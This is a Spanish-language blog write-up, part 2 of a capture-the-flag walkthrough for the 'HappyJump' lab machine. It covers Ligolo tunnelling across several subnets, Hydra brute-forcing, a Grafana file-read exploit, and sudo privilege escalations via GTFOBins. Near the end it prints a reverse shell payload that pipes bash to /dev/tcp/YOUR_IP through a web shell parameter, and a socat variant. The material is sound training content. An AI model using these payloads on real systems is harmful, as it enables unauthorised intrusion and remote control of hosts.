Seguimos con la segunda parte del WriteUP justo en el punto en el que nos quedamos en la parte 1.

Ahora vamos a empezar a Fuzzear a la nueva ip, en este caso hemos usado wfuzz, pero
también se puede sacar el mismo resultado con Dirbuster. Con dirb en este caso no he
probado.

Accedemos a la url y comprobamos un posible vector de ataque LFI

Encontramos un usuario llamado manchi

Le hacemos un ataque de fuerza con Hydra y nos da una contraseña

Accedemos por ssh

Ahora vamos a realizar un ataque de fuerza de bruta en busca de más usuarios, nos
descargamos este script y lo copiamos a la máquina víctima
https://github.com/Maalfer/Sudo_BruteForce

Ejecutamos y nos da otro usuario y contraseña:

Elevación de privilegios
Primero hacemos un movimiento lateral con el usuario y la contraseña que hemos obtenido

Ahora elevaos privilegios, primero ejecutamos sudo -l

vemos que podemos ejecutar como root el binario php así que vamos a la web de GTFObins
y buscamos el binario

Y aquí tenemos el comando que necesitamos ejecutar

sudo -u root /usr/bin/php -r “system(‘/bin/sh’)

Y comprobamos que tenemos una nueva IP

Hacemos el tratamiento de TTY

export TERM=xterm
export SHELL=/bin/bash
/bin/bash -i

Ahora vamos a proceder a realizar el segundo salto

Ligolo 2

Ahora tenemos que crear un nuevo adaptador, levantarlo y agregar la red de la siguiente ip a
nuestra tabla de enrutamiento. Esto es para que cuando conectemos el agente de ligolo y
arranquemos la sesion podamos tener ping a las máquinas 20.20.20.2 y 20.20.20.3

Ahora nos levantamos un servidor http.server en nuestra máquina kali en a ruta dónde
tengamos nuestro archivo agent

python3 -m http.server 80

Ahora ejecutamos el comando wget, tenemos que fijarnos que en este punto aún no es
necesario crear ningún listener para permitir la transferencia de archivos, eso lo haremos más
adelante.

wget http://192.168.1.162/agent

Una vez que ya tenemos el archivo en la máquina víctima tenemos que acordarnos de darle
permisos de ejecución, en el pantallazo yo no lo hice y me dio error 😛
Una vez que ya lo podemos ejecutar lanzamos el agent

Volvemos a la consola de ligolo con la conexión ya establecida tenemos que ejecutar el
comando sessión, elegir la sessión que en este caso será la segunda y el tunel se iniciará.

Esto nos dara ping a la ip 20.20.20.2 y a la ip 20.20.20.3, recordemos que ya hemos agregado
la red 20.20.20.o/24 a nuestra tabla de rutas.

Empezamos lanzando un nmap contra la ip 20.20.20.3 y descubrimos que tiene abierto el
puerto 80, entre otros.

Nos conectamos a la web y tenemos un grafana.

Hacemos una búsqueda con searchsploit y encontramos la vulnerabilidad Directory Traversal
and Arbitrary File Read

Nos descargamos el exploit y nos lo copiamos a nuestra carpeta ligolo.

Lo ejecutamos y nos da un usuario: freddy

Ahora vamos a indagar un poco más por el portal, yo he usado Dirbuster para esta tarea.

Reviso todos los directorios y archivos y encuentro que en el archivo maintenance.html hay
una ruta

Ejecutamos el exploit y le ponemos la ruta que hemos encontrado y nos da un password

Ahora nos conectamos por ssh con las credenciales que hemos encontrado

Escalada de privilegios
Comprobamos que tenemos permisos para ejecutar un script en python

Vamos a la web GTFObins, buscamos el binario y nos da el script a ejecutar

Modificamos el archivo maintenance.py

Y ejecutamos con un sudo

Descubrimos nuestro siguiente objetivo , la ip 30.30.30.2

Ligolo 3

Siguiendo la misma metodología, lo primero creamos el adaptador correspondiente y
agregamos la red de la nueva ip

Lanzamos nmap

Y ahora lanzamos un fuzzing contra la ip 30.30.30.3

Nos encuentra un secret.php, nos conectamos y tenemos un usuario.

Le tiramos un ataque de fuerza bruta con hydra

Ligolo 4
Nuestra próxima para en este viaje es la red 40.40.40.0/24 así que vamos a proceder a
agregar el tunel correspondiente

En este punto agregaremos el primer portforwarding/listener.
al llegar al doble pivoting, el siguiente paso implica agregar un listener para atravesar la
intrared y recuperar la sesión. En este caso necesitaremos un listener para la conexión (puerto
11601) y otro para la transferencia del agente agent por el puerto 80.

repetimos proceso de compartir agent y transferimos el archivo para poder ejecutarlo, recuerda
que siempre tienes que apuntar al segundo interfaz de la máquina anterior.

Una vez que ya tenemos conexión contra la red 40.40.40.0/24 procedemos a realizar un poco
de fuzzing.

Ahora vamos a la página de Online – Reverse Shell Generator (revshells.com) y usaremos la
revshell PHP PentestMonkey apuntando al como está indicando en la imagen.

Pero primero necesitamos agregar un nuevo listener en ligolo que vaya por el puerto 6969

listener_add –addr 0.0.0.0:6969 –to 127.0.0.1:6969 –tcp

y lo agregamos en cada una de las sesiones

Ahora ya podemos guardar nuestra shell en un archivo con extensión phar y subirlo al portal

Ahora nos situamos en el directorio uploads pero antes de ejecutar la shell nos pondremos a la
escucha con un netcat por el puerto 6969

Ejecutamos un hostname -I y ya podemos ver nuestra próxima máquina objetivo

Antes haremos la escalada de privilegios

sudo -u root /usr/bin/env /bin/sh

Y volvemos a repetir lo mismo que en pasos anteriores, copiamos el agent y lo lanzamos para
luego arrancar el ligolo4 desde la consola.

ligolo 5
Lo primero, agregar el nuevo adaptador, levantarlo y agregar la correspondiente ruta,
exactamente igual que antes.

Y repetimos operación agregando los listener que necesitamos.

Seguidamente subimos el archivo agent y lo ejecutamos

Se nos inicia la sesión y arrancamos el ligolo5

accedemos a otro portal

Ahora hacemos otro Fuzzing a la ip 50.50.50.3 y vamos a la ruta /warning.html

Nos indica que hay una shell, no sabemos donde así que nos toca Fuzzear otra vez

Nos da como resultante la siguiente shell en la que podemos ejecutar parámetros

En este punto tenemos varias opciones, acordaros que en la sessión anterior agregamos un
nuevo listener en ligolo por el puerto 6969 y que tenemos un netcat a la escucha. Podemos
parar la sesión de netcat que tenemos activa, atregar un nuevo listener por el puerto 6969 en
ligolo.

y usar una bash apuntando al puerto 6969

http://50.50.50.2/shell.php?parameter=bash%20-c%20’bash%20-
i%20>%26%20/dev/tcp/YOUR_IP/6969%200>%261′

o podemos usar socat
50.50.50.3/shell.php?parameter=at tcp-l:6969,fork,reuseaddr tcp:50.50.50.2:6969

One thought on “WriteUP de la Máquina HappyJump de ThehackerLabs con Ligolo (parte 2)”
  1. Felicidades por este writeup! Aparte de lo bien explicado que está, es una locura, leyéndote, parece que lo hagas fácil!! jaja

    Un saludo!! Óscar

Leave a Reply

Your email address will not be published. Required fields are marked *